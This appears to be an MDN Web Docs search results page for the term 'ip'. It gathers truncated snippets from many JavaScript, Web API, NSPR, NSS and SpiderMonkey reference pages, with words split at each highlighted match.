iption the escape function is a property of the global object. special characters are encoded with the exception of: @*_+-./ the hexadecimal form for characters, whose code unit value is 0xff or less, is a two-digit escape sequence: %xx. for characters with a greater code unit, the four-digit format %uxxxx is used. examples using escape escape('abc123'); // "abc123" escape('aou'); //...
...se code unit value is 0xff or less, is a two-digit escape sequence: %xx. for characters with a greater code unit, the four-digit format %uxxxx is used. examples using escape escape('abc123'); // "abc123" escape('aou'); // "%e4%f6%fc" escape('c'); // "%u0107" // special characters escape('@*_+-./'); // "@*_+-./" specifications specification ecmascr
ipt (ecma-262)the definition of 'escape' in that specification. please do not add polyfills to reference pages. for more information, see https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 ...
null - JavaScript
null is not an identifier for a property of the global object, like undefined can be. instead, null expresses a lack of identification, indicating that a variable points to no object. ...
...null is not an identifier for a property of the global object, like undefined can be. instead, null expresses a lack of identification, indicating that a variable points to no object. ...
...the former performs type-conversion. typeof null // "object" (not "null" for legacy reasons) typeof undefined // "undefined" null === undefined // false null == undefined // true null === null // true null == null // true !null // true isnan(1 + null) // false isnan(1 + undefined) // true specifications specification ecmascr
ipt (ecma-262)the definition of 'null value' in that specification. ...
Conditional (ternary) operator - JavaScript
this operator is frequently used as a shortcut for the if statement. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax condition ? expriftrue : expriffalse parameters condition an expression whose value is used as a condition. ...
...st. syntax condition ? expriftrue : expriffalse parameters condition an expression whose value is used as a condition. expriftrue an expression which is evaluated if the condition evaluates to a truthy value (one which equals or can be converted to true). expriffalse an expression which is executed if the condition is falsy (that is, has a value which can be converted to false). descr
iption besides false, possible falsy expressions are: null, nan, 0, the empty string (""), and undefined. if condition is any of these, the result of the conditional expression will be the result of executing the expression expriffalse. examples a simple example var age = 26; var beverage = (age >= 21) ? "beer" : "juice"; console.log(beverage); // "beer" handling null values one common usage ...
... ...
grippy - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
::-ms-tooltip - Archive of obsolete content
the ::-ms-toolt
ip css pseudo-element is a microsoft extension that represents the toolt
ip of a slider control. a slider control is one possible representation of <input type="range">. allowable properties only the following css properties can be used in a rule with ::-ms-toolt
ip in its selector. other properties are ignored. ...
... the ::-ms-toolt
ip css pseudo-element is a microsoft extension that represents the toolt
ip of a slider control. a slider control is one possible representation of <input type="range">. allowable properties only the following css properties can be used in a rule with ::-ms-toolt
ip in its selector. other properties are ignored. ...
New in JavaScript 1.5 - Archive of obsolete content
the following is a changelog for javascr
ipt 1.5. this version was included in netscape navigator 6.0 was released on november 14, 2000 and was also used in later versions of netscape navigator and firefox 1.0. you can compare javascr
ipt 1.5 to jscr
ipt version 5.5 and internet explorer 5.5, which was released in july 2000. the corresponding ecma standard is ecma-262 edition 3 (from december 1999). new features in javascr
ipt 1.5 number.prototype.toexponential() number.prototype.tofixed() number.prototype.toprecision() const is now a reserved word. mult
iple catch clauses in a try...catch statement are supported. javascr
ipt authors can now add getters and setters to their objects. changed functionality in javascr
ipt 1.5 runtime errors are now reported as exceptions. regular expre...
...ring parentheses, (?:x) can be used instead of capturing parentheses, (x). when non-capturing parentheses are used, matched subexpressions are not available as back-references. positive and negative lookahead assertions are supported. both assert a match depending on what follows the string being matched. the m flag has been added to specify that the regular expression should match over mult
iple lines. functions can now be declared inside an if clause. functions can now be declared inside an expression. ...
New in JavaScript 1.6 - Archive of obsolete content
the following is a changelog for javascr
ipt 1.6. this version was included in firefox 1.5 (gecko 1.8), which was released in november 2005. the corresponding ecma standard is ecma-262 edition 3 and ecmascr
ipt for xml (e4x) with some additional features. several new features were introduced: e4x, several new array methods, and array and string generics. new features in javascr
ipt 1.6 support for ecmascr
ipt for xml (e4x) for creating and processing xml content within javascr
ipt has been added. see for details. ...
....6 support for ecmascr
ipt for xml (e4x) for creating and processing xml content within javascr
ipt has been added. see for details. array.prototype.indexof() array.prototype.lastindexof() array.prototype.every() array.prototype.filter() array.prototype.foreach() array.prototype.map() array.prototype.some() array generics string generics for each...in changed functionality in javascr
ipt 1.6 a bug in which arguments[n] cannot be set if n is greater than the number of formal or actual parameters has been fixed. ...
Parsing microformats in JavaScript - Archive of obsolete content
returned object are: string = html.tostring(); returns a string using innertext(). string = html.tohtml(); returns the node's html using innerhtml(). string = html.replace(a, b); returns a string in which all occurrences of a in the html are replaced with b. string = html.match(a); performs the specified matching operation on the html and returns the result. iso8601fromdate converts a javascr
ipt date object into an iso 8601 formatted date. isodate = microformats.parser.iso8601fromdate(date, punctuation) parameters date the javascr
ipt date object to convert. punctuation true if the date should have "-" and "/" in it. return value a string containing the iso 8601 formatted date. textgetter() retrieves all the text from a particular dom node, including all tags. this calls def...
... uri. ...
Block (scripting) - MDN Web Docs Glossary: Definitions of Web-related terms
in javascr
ipt, a block is a collection of related statements enclosed in braces ("{}"). for example, you can put a block of statements after an if (condition) block, indicating that the interpreter should run the code inside the block if the condition is true, or sk
ip the whole block if the condition is false. ...
... in javascr
ipt, a block is a collection of related statements enclosed in braces ("{}"). for example, you can put a block of statements after an if (condition) block, indicating that the interpreter should run the code inside the block if the condition is true, or sk
ip the whole block if the condition is false. ...
Test your skills: Object-oriented JavaScript - Learn web development
the aim of this skill test is to assess whether you've understood our object-oriented javascr
ipt for beginners, object prototypes, and inheritance in javascr
ipt articles. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). oojs 1 in this task we provide you with a constructor. we want yo...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for oojs 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone with a ...
Multiprocess Firefox
some elements of mult
iprocess firefox have been retained for compatibility. this page is an informal index of leftovers, mostly revolving around the message manager and the related cross process object wrappers. message manager a complete guide to the objects used to communicate between chrome code and web content. cross process object wrappers cross process object wrappers are a migration aid, giving chrome code synchronous access to web content. limitations of chrome scr
ipts practices that will no longer work in chrome code, and how to update them. limitati...
... cross process object wrappers cross process object wrappers are a migration aid, giving chrome code synchronous access to web content. limitations of chrome scr
ipts practices that will no longer work in chrome code, and how to update them. limitations of frame scr
ipts practices that will not work inside frame scr
ipts, and what to do instead. ...
Using workers in JavaScript code modules
solete since gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. ...
...in javascr
ipt code modules (jsms). this lets you run code in a separate thread from your jsm. to create a chromeworker for this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('scr
ipt_url.js'); this will create a new chrome worker that will immediately begin to run the scr
ipt at the specified url (in this case, "scr
ipt_url.js"). for example, "scr
ipt_url.js" can be "chrome://extension_name/content/scr
ipt.js". ...
javascript.options.strict
javascr
ipt warnings are generated when code is executed that doesn't cause a run-time error, but is non-standard, poorly written, or prone to cause logic errors. this preference controls whether javascr
ipt warnings are logged to the javascr
ipt console. example : <html> <head> <title>sample</title> </head> <body> <label id="name">enter you first name</label> <p id ="sample"></p> <scr
ipt> "use strict" name1= "john" ; // this will cause and an error as variable not declared . var name2= "peter"; document.getelementbyid("sample").innerhtml = name1; </scr
ipt> </body> </html> possible values and their effects: true: show javascr
ipt errors and warnings. false: show javascr
ipt errors only. ...
... ="sample"></p> <scr
ipt> "use strict" name1= "john" ; // this will cause and an error as variable not declared . var name2= "peter"; document.getelementbyid("sample").innerhtml = name1; </scr
ipt> </body> </html> possible values and their effects: true: show javascr
ipt errors and warnings. false: show javascr
ipt errors only. ...
L20n Javascript API
you can listen to the ready event (emitted by the context instance when all the resources have been compiled) and use ctx.getsync and ctx.getentitysync to get translations synchronously. alternatively, you can register callbacks to execute when the context is ready (or when globals change and translations need to be updated) with ctx.localize. ...
...efault locale from registerlocales will be used. ctx.requestlocales('pl'); if registerlocales hasn't been called, the special i-default locale is used, which means that the following minimal code is valid and will result in a fully operational context instance. var ctx = l20n.getcontext(); ctx.addresource('<hello "hello, world!">'); ctx.requestlocales(); requestlocales can be called mult
iple times after the context instance emitted the ready event, in order to change the current language fallback chain, for instance if requested by the user. ctx.supportedlocales a read-only property which holds the current fallback chain of locales which was negotiated between all the available locales, the default locale and the user's preferred locales. ctx.registerlocales('en-us', ['en-us', ...
IPC Semaphores
this chapter describes the nspr api for using interprocess communication semaphores. ...
... this chapter describes the nspr api for using interprocess communication semaphores. ...
PR_CreatePipe
creates an anonymous p
ipe and retrieves file descr
iptors for the read and write ends of the p
ipe. syntax #include <prio.h> prstatus pr_createp
ipe( prfiledesc **readp
ipe, prfiledesc **writep
ipe); parameters the function has the following parameters: readp
ipe a pointer to a prfiledesc pointer. on return, this parameter contains the file descr
iptor for the read end of the p
ipe. writep
ipe a pointer to a prfiledesc pointer. on return, this parameter contains the file descr
iptor for the write end of the p
ipe. returns the function returns one of these values: if the p
ipe is successfully created, pr_success. if the p
ipe is not successfully created, pr_failure. the error code can be retrieved via pr_geterror. descr
iption pr_createp
ipe creates an anonymous p
ipe. data written...
... pointer. on return, this parameter contains the file descr
iptor for the write end of the p
ipe. returns the function returns one of these values: if the p
ipe is successfully created, pr_success. if the p
ipe is not successfully created, pr_failure. the error code can be retrieved via pr_geterror. descr
iption pr_createp
ipe creates an anonymous p
ipe. data written into the write end of the p
ipe can be read from the read end of the p
ipe. p
ipes are useful for interprocess communication between a parent and a child process. when the p
ipe is no longer needed, both ends should be closed with calls to pr_close. pr_createp
ipe is currently implemented on unix, linux, mac os x, and win32 only. ...
JS_DestroyScript
free a compiled scr
ipt that is no longer needed. syntax void js_destroyscr
ipt(jscontext *cx, jsscr
ipt *scr
ipt); name type descr
iption cx jscontext * the context in which to destroy the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. scr
ipt jsscr
ipt * the scr
ipt to destroy. descr
iption js_destroyscr
ipt destroys the given compiled scr
ipt, freeing the memory allocated to it. the scr
ipt must not be currently executing (in any context, at any level of the stack) and must not be used again afterwards. at present, this function has no effect; the jsscr
ipt lives for as long as its scr
ipt object lives. see js_newscr
iptobject for details. ...
...on js_destroyscr
ipt destroys the given compiled scr
ipt, freeing the memory allocated to it. the scr
ipt must not be currently executing (in any context, at any level of the stack) and must not be used again afterwards. at present, this function has no effect; the jsscr
ipt lives for as long as its scr
ipt object lives. see js_newscr
iptobject for details. ...
nsIWebPageDescriptor
docshell/base/nsiwebpagedescr
iptor.idlscr
iptable this interface allows content being displayed in one window to be loaded into another window without refetching it from the network. inherits from: nsisupports last changed in gecko 1.7 method overview void loadpage(in nsisupports apagedescr
iptor, in unsigned long adisplaytype); attributes attribute type descr
iption currentdescr
iptor nsisupports retrieves the page descr
iptor for the current document. read only. constants display type constants constant value descr
iption display_as_source 0x0001 generates an optionally syntax-highlighted (for xml/html documents) source of the original page. display_normal 0x0002 just refetches the existing page. ...
... attribute type descr
iption currentdescr
iptor nsisupports retrieves the page descr
iptor for the current document. read only. constants display type constants constant value descr
iption display_as_source 0x0001 generates an optionally syntax-highlighted (for xml/html documents) source of the original page. display_normal 0x0002 just refetches the existing page. note that if the descr
iptor is that of the source of another page, this keeps the source view, but uses the current syntax highlighting preference. methods loadpage() tells the object to load the page specified by the page descr
iptor. void loadpage( in nsisupports apagedescr
iptor, in unsigned long adisplaytype ); parameters apagedescr
iptor the page descr
iptor for the page to load. adisplaytype the display type t...
Tips and Tricks from the newsgroups
the following discussions on mozilla.dev.apps.thunderbird and mozilla.dev.extensions include useful t
ips for thunderbird add-on developers. please feel free to add links to threads. we will add a categorization system as the link list grows. you can also help by creating how-tos from any of these topics. ...
... the following discussions on mozilla.dev.apps.thunderbird and mozilla.dev.extensions include useful t
ips for thunderbird add-on developers. please feel free to add links to threads. we will add a categorization system as the link list grows. you can also help by creating how-tos from any of these topics. ...
Using the Multiple Accounts API
use lsub instead of list) preference: mail.server.server.cleanup_inbox_on_exit - boolean, should we purge the inbox when we quit? preference: mail.server.server.dual_use_folders - boolean - can folders contain both folders and messages? preference: mail.server.server.empty_trash_on_exit boolean, (should not be imap-specific) - should we em...
...s new mail (false) preference: mail.server.server.directory - local platform-specific path to store messages and folder indexes preference: mail.server.server.name - user-visible name of server the following are specific to imap: preference: mail.server.server.admin_url - administration url for server preference: mail.server.server.using_subscr
iption - boolean, should we use subscr
iptions? (i.e. use lsub instead of list) preference: mail.server.server.cleanup_inbox_on_exit - boolean, should we purge the inbox when we quit? preference: mail.server.server.dual_use_folders - boolean - can folders contain both folders and messages? preference: mail.server.server.empty_trash_on_exit boolean, (should not be imap-specific) - should we empty this server's trash when we quit? ...
The Firefox JavaScript Debugger - Firefox Developer Tools
the javascr
ipt debugger enables you to step through javascr
ipt code and examine or modify its state to help track down bugs. you can use it to debug code running locally in firefox or running remotely, for example on an android device running firefox for android. see remote debugging to learn how to connect the debugger to a remote target. to find your way around the debugger, here's a quick tour of the ui. how to to find out what you can do with the debugger, refer to the following how-to guides. open the debugger pretty-print a minified file search use a source map pause execution you probably want to pause the execution of your code, in order to see what is going on at various points. ...
...a remote target. to find your way around the debugger, here's a quick tour of the ui. how to to find out what you can do with the debugger, refer to the following how-to guides. open the debugger pretty-print a minified file search use a source map pause execution you probably want to pause the execution of your code, in order to see what is going on at various points. ...
ClipboardEvent() - Web APIs
the cl
ipboardevent() constructor returns a newly created cl
ipboardevent, representing an event providing information related to modification of the cl
ipboard, that is cut, copy, and paste events. syntax var cl
ipboardevent = new cl
ipboardevent(type[, options]); parameters the cl
ipboardevent() constructor also inherits arguments from event(). type is a domstring representing the name of the type of the cl
ipboardevent. it is case-sensitive and can be: 'copy', 'cut', or 'paste'. options optional options are as follows: cl
ipboarddata: a datatransfer containing the data concerned by the cl
ipboard event. datatype : a domstring containing the mime-type of the data contained in the data argument. data : a domstring containing the data concerned by the cl
ipboard event. spec...
...'cut', or 'paste'. options optional options are as follows: cl
ipboarddata: a datatransfer containing the data concerned by the cl
ipboard event. datatype : a domstring containing the mime-type of the data contained in the data argument. data : a domstring containing the data concerned by the cl
ipboard event. specifications specification status comment cl
ipboard api and eventsthe definition of 'cl
ipboardevent()' in that specification. working draft initial definition. ...
Element: MSManipulationStateChanged event - Web APIs
msman
ipulationstatechanged fires when the state of an element being man
ipulated has changed (ie. whenever you start or finish panning or zooming an element). it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msman
ipulationevent event handler property unknown get man
ipulation states using the laststate and currentstate properties. ...
...ement). it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msman
ipulationevent event handler property unknown get man
ipulation states using the laststate and currentstate properties. examples // listen for panning state change events outerscroller.addeventlistener("msman
ipulationstatechanged", function(e) { // check to see if they lifted while pulled to the top if (e.currentstate == ms_man
ipulation_state_inertia && outerscroller.scrolltop === 0) { refreshitemsasync(); } }); specifications not part of any specification. ...
OES_fbo_render_mipmap - Web APIs
the oes_fbo_render_m
ipmap extension is part of the webgl api and makes it possible to attach any level of a texture to a framebuffer object. webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: this extension is only available to webgl 1. in webgl2, the functionality of this extension is available in the webgl 2 context by default. examples see the sample code in the khronos specification. ...
...gcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: this extension is only available to webgl 1. in webgl2, the functionality of this extension is available in the webgl 2 context by default. examples see the sample code in the khronos specification. specifications specification status oes_fbo_render_m
ipmap draft ...
PaymentDetailsUpdate.shippingAddressErrors - Web APIs
the paymentdetailsupdate dictionary's sh
ippingaddresserrors property, if present, contains an addresserrors object whose contents provide error messages for one or more of the values in the paymentaddress specified as paymentrequest.sh
ippingaddress. syntax var addresserrors = paymentdetailsupdate.sh
ippingaddresserrors; value an addresserrors object, which contains domstrings describing errors in the properties of a paymentaddress. for each property in paymentaddress, a property by the same name is found in sh
ippingaddresserrors if and only if a validation error occurred for that property. in that case, the property in sh
ippingaddresserrors is a string describing the validation error, ideally including suggestions about fixing the error. specifications specification...
...erty by the same name is found in sh
ippingaddresserrors if and only if a validation error occurred for that property. in that case, the property in sh
ippingaddresserrors is a string describing the validation error, ideally including suggestions about fixing the error. specifications specification status comment payment request apithe definition of 'paymentdetailsupdate.sh
ippingaddresserrors' in that specification. candidate recommendation initial definition. ...
PushSubscription.endpoint - Web APIs
the endpoint read-only property of the pushsubscr
iption interface returns a usvstring containing the endpoint associated with the push subscr
iption. the endpoint takes the form of a custom url pointing to a push server, which can be used to send a push message to the particular service worker instance that subscribed to the push service. for this reason, it is a good idea to keep your endpoint a secret, so others do not hijack it and abuse the push functionality. syntax var myend = pushsubscr
iption.endpoint; value a usvstring. ...
...ticular service worker instance that subscribed to the push service. for this reason, it is a good idea to keep your endpoint a secret, so others do not hijack it and abuse the push functionality. syntax var myend = pushsubscr
iption.endpoint; value a usvstring. example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.subscribe({uservisibleonly: true}).then(function(subscr
iption) { console.log(subscr
iption.endpoint); // at this point you would most likely send the subscr
iption // endpoint to your server, save it, then use it to send a // push message at a later date }) }) specifications specification status comment push apithe definition of 'endpoint' in that specification. working draft initial definition. ...
PushSubscription.unsubscribe() - Web APIs
the unsubscribe() method of the pushsubscr
iption interface returns a promise that resolves to a boolean when the current subscr
iption is successfully unsubscribed. syntax pushsubscr
iption.unsubscribe().then(function(boolean) { ... }); parameters none. returns a promise that resolves to a boolean when the current subscr
iption is successfully unsubscribed. ...
...terface returns a promise that resolves to a boolean when the current subscr
iption is successfully unsubscribed. syntax pushsubscr
iption.unsubscribe().then(function(boolean) { ... }); parameters none. returns a promise that resolves to a boolean when the current subscr
iption is successfully unsubscribed. example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscr
iption().then(function(subscr
iption) { subscr
iption.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscr
iption failed }) }) }); specifications specification status comment push apithe definition of 'unsubscribe()' in that specification. working draft initial definition. ...
RTCIceCandidatePairStats.totalRoundTripTime - Web APIs
the rtcicecandidatepairstats dictionary's totalroundtr
iptime property is the total time that has elapsed between sending stun requests and receiving the responses, for all such requests that have been made so far on the pair of candidates described by this rtcicecandidatepairstats object. this value includes both connectivity check and consent check requests. syntax totalrtt = rtcicecandidatepairstats.totalroundtr
iptime; value this floating-point value indicates the total number of seconds which have elapsed between sending out stun connectivity and consent check requests and receiving their responses, for all such requests made so far on the connection described by this candidate pair. ...
...sent check requests. syntax totalrtt = rtcicecandidatepairstats.totalroundtr
iptime; value this floating-point value indicates the total number of seconds which have elapsed between sending out stun connectivity and consent check requests and receiving their responses, for all such requests made so far on the connection described by this candidate pair. you can calculate the average round-tr
ip time (rtt) by dividing this value by the value of the responsesreceived property: rtt = rtcicecandidatepairstats.totalroundtr
iptime / rtcicecandidatepairstats.responsesreceived; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.totalroundtr
iptime' in that specification. candida...
RTCPeerConnection.localDescription - Web APIs
the read-only property rtcpeerconnection.localdescr
iption returns an rtcsessiondescr
iption describing the session for the local end of the connection. if it has not yet been set, this is null. syntax var sessiondescr
iption = peerconnection.localdescr
iption; on a more fundamental level, the returned value is the value of rtcpeerconnection.pendinglocaldescr
iption if that property isn't null; otherwise, the value of rtcpeerconnection.currentlocaldescr
iption is returned. see pending and current descr
iptions in webrtc connectivity for details on this algorithm and why it's used. example this example looks at the localdescr
iption and displays an alert containing the rtcsessiondescr
iption object's type and sdp fields. ...
...'t null; otherwise, the value of rtcpeerconnection.currentlocaldescr
iption is returned. see pending and current descr
iptions in webrtc connectivity for details on this algorithm and why it's used. example this example looks at the localdescr
iption and displays an alert containing the rtcsessiondescr
iption object's type and sdp fields. var pc = new rtcpeerconnection(); ... var sd = pc.localdescr
iption; if (sd) { alert("local session: type='" + sd.type + "'; sdp descr
iption='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.localdescr
iption' in that specification. candidate recommendation ini...
RTCSessionDescription.toJSON() - Web APIs
the rtcsessiondescr
iption.tojson() method generates a json descr
iption of the object. both properties, type and sdp, are contained in the generated json. syntax var jsonvalue = sd.tojson(); the result value is a json object containing the following values: "type", containing the value of the rtcsessiondescr
iption.type property and can be one of the following values: "offer", "answer", "pranswer" or null. "sdp", containing a domstring, or null, with the sdp message corresponding to rtcsessiondescr
iption.sdp property. example // sd is a rtcsessiondescr
iptor alert(json.stringify(sd)); // this call the tojson() method behind the scene. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'r...
.... "sdp", containing a domstring, or null, with the sdp message corresponding to rtcsessiondescr
iption.sdp property. example // sd is a rtcsessiondescr
iptor alert(json.stringify(sd)); // this call the tojson() method behind the scene. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescr
iption: tojson()' in that specification. candidate recommendation initial specification. ...
RTCSessionDescription.type - Web APIs
the property rtcsessiondescr
iption.type is a read-only value of type rtcsdptype which describes the descr
iption's type. syntax var value = sessiondescr
iption.type; sessiondescr
iption.type = value; value the possible values are defined by an enum of type rtcsdptype. the allowed values are those of an enum of type rtcsdptype: "offer", the descr
iption is the initial proposal in an offer/answer exchange. "answer", the descr
iption is the definitive choice in an offer/answer exchange. "pranswer", the descr
iption is a provisional answer and may be changed when the definitive choice will be given. "rollback", the descr
iption rolls back to offer/answer state to the last stable state. ...
...type: "offer", the descr
iption is the initial proposal in an offer/answer exchange. "answer", the descr
iption is the definitive choice in an offer/answer exchange. "pranswer", the descr
iption is a provisional answer and may be changed when the definitive choice will be given. "rollback", the descr
iption rolls back to offer/answer state to the last stable state. example // the remote descr
iption has been set previously on pc, a rtcpeerconnection alert(pc.remotedescr
iption.type); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescr
iption.type' in that specification. candidate recommendation initial specification. ...
sslfnc.html
nitialization functions this section describes the initialization functions that are specific to ssl. for a complete list of nss initialization functions, see initialization. note that at least one of the functions listed in ssl export policy functions must also be called during nss initialization. nss_init nss_initreadwrite nss_nodb_init ssl_optionsetdefault ssl_optiongetdefault ssl_c
ipherprefsetdefault ssl_c
ipherprefgetdefault ssl_clearsessioncache ssl_configserversessionidcache ssl_configmpserversidcache ssl_inheritmpserversidcache nss_init sets up configuration files and performs other tasks required to run network security services. database files are opened read-only. syntax #include "nss.h" secstatus nss_init(char *configdir); parameter this funct...
...eter this function has the following parameter: configdir a pointer to a string containing the pathname of the directory where the certificate, key, and security module databases reside. returns the function returns one of these values: if successful, secsuccess. if unsuccessful, secfailure. use pr_geterror to retrieve the error code. descr
iption nss_init opens the certn.db, keyn.db, and secmod.db files (wheren is a numeric digit) in the specified directory. nss_init isnot idempotent, so call it only once. nss_init opens the database files read-only. if you are performing operations that require write permission, for example s/mime operations such as adding a certificate, use nss_initreadwrite instead. before calling nss_init,...
...iles (wheren is a numeric digit) in the specified directory. nss_init isnot idempotent, so call it only once. nss_init opens the database files read-only. if you are performing operations that require write permission, for example s/mime operations such as adding a certificate, use nss_initreadwrite instead. before calling nss_init, your program must call pr_init. ...
...And 160 more matches
Index
found 550 pages: # page tags and summary 1 spidermonkey: the mozilla javascr
ipt runtime spidermonkey standalone source code releases can be found on the releases page. 2 creating javascr
ipt tests automated testing, build documentation, guide, qa, spidermonkey in which test suite does your new test belong? 3 creating javascr
ipt jstest reftests ecmascr
ipt, guide, javascr
ipt, test in the js/src/tests directory, there are a few important subdirectories. 4 foss guide, spidermonkey feel free to add your own spidermonkey-based open source projects (and if necessary add categories)! 5 future directions guide, mozilla, spidermonkey this article documents future directions i...
... memory the spidermonkey garbage collector (gc) will be changing a lot in the future. this page is intended to explain the changes that are happening, with a focus on how they will affect gecko code that uses jsapi. at a high level, there are three issues to be aware of: 8 getting spidermonkey source code guide, spidermonkey you can get the spidermonkey source code in gz
ipped form or directly from the mercurial repository. 9 hacking t
ips spidermonkey this page list a few t
ips to help you investigate issues related to spidermonkey. all t
ips listed here are dealing with the javascr
ipt shell obtained at the end of the build documentation of spidermonkey. it is separated in 2 parts, one section related to debugging and another section related to dr...
...al repository. 9 hacking t
ips spidermonkey this page list a few t
ips to help you investigate issues related to spidermonkey. all t
ips listed here are dealing with the javascr
ipt shell obtained at the end of the build documentation of spidermonkey. it is separated in 2 parts, one section related to debugging and another section related to drafting optimizations. many of these t
ips only apply to debug builds of the js shell; they will not function in a release build. 10 how to embed the javascr
ipt engine embedding mozilla, javascr
ipt, spidermonkey, tutorial see also jsapi user guide. in particular, it has more and better code examples! 11 index index, mdn meta, spidermonkey found 550 pages: 12 introduction to the javascr...
...And 148 more matches
Index
developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss). nss is a library written in the c programming language. it's free and open source software, and many other software projects have decided to use it. in order to support mult
iple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design pr...
...operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design princ
iples, and important relevant standards. in order to allow interoperability between software and devices that perform cryptographic operations, nss conforms to a standard called pkcs#11. (note that it's important to look at the number 11, as there are other pkcs standards with different numbers that define quite different topics.) a software or hardware module conforming to the pkcs#11 standar...
...cryptographic operations, nss conforms to a standard called pkcs#11. (note that it's important to look at the number 11, as there are other pkcs standards with different numbers that define quite different topics.) a software or hardware module conforming to the pkcs#11 standard implements an interface of c calls, which allow querying the characteristics and offered services of the module. mult
iple elements of nss's own modules have been implemented with this interface, and nss makes use of this interface when talking to those modules. this strategy allows nss to work with many hardware devices (e.g., to speed up the calculations required for cryptographic operations, or to access smartcards that securely protect a secret key) and software modules (e.g., to allow to load such modules as a...
...And 141 more matches
MathML Accessibility in Mozilla
of orca. we try to keep in sync with webkit/atk/orca developments. at the moment, it is recommended to use a nightly build to ensure that the accessible tree expected by orca is correctly exposed. accessfu: mathml support in android and firefox os is currently being implemented in our accessfu module and a patch is available on bug 1163374. the table gives the output in mode "utterance" and descr
iption spoken last. note that this is still very experimental. mathml windows mac linux accessfu diagonal of a regular pentagon video video video / x+2 __________ x plus 2 __________ x+2 x plus 2 x + y ab __________ a over b __________ fraction start, a over b, end o...
...or b denominator fraction ab\frac a b ab __________ a over b __________ fraction start, a over b, end of fraction. see webkit's bug 146454 fraction without bar, start. a over b. fraction end. ...
...raction ab\frac a b ab __________ a over b __________ fraction start, a over b, end of fraction. see webkit's bug 146454 fraction without bar, start. a over b. fraction end. a numerator b denominator fraction without bar ab __________ a sub b __________ a, subscr
ipt b a. ...
...And 101 more matches
JSAPI User Guide
this document explains how to embed spidermonkey, the mozilla javascr
ipt engine, in your c++ program. javascr
ipt is widely used for client-side scr
ipts that run in the browser. but mozilla's javascr
ipt engine is a library that can be linked into any c++ program, not just a browser. many applications can benefit from scr
ipting. these programs can execute javascr
ipt code from c++ using the spidermonkey api. note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi. what spidermonkey does the javascr
ipt engine compiles and executes scr
ipts containing javascr
ipt statements and functions. ...
...execute javascr
ipt code from c++ using the spidermonkey api. note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi. what spidermonkey does the javascr
ipt engine compiles and executes scr
ipts containing javascr
ipt statements and functions. the engine handles memory allocation for the objects needed to execute scr
ipts, and it cleans up--garbage collects--objects it no longer needs. the word javascr
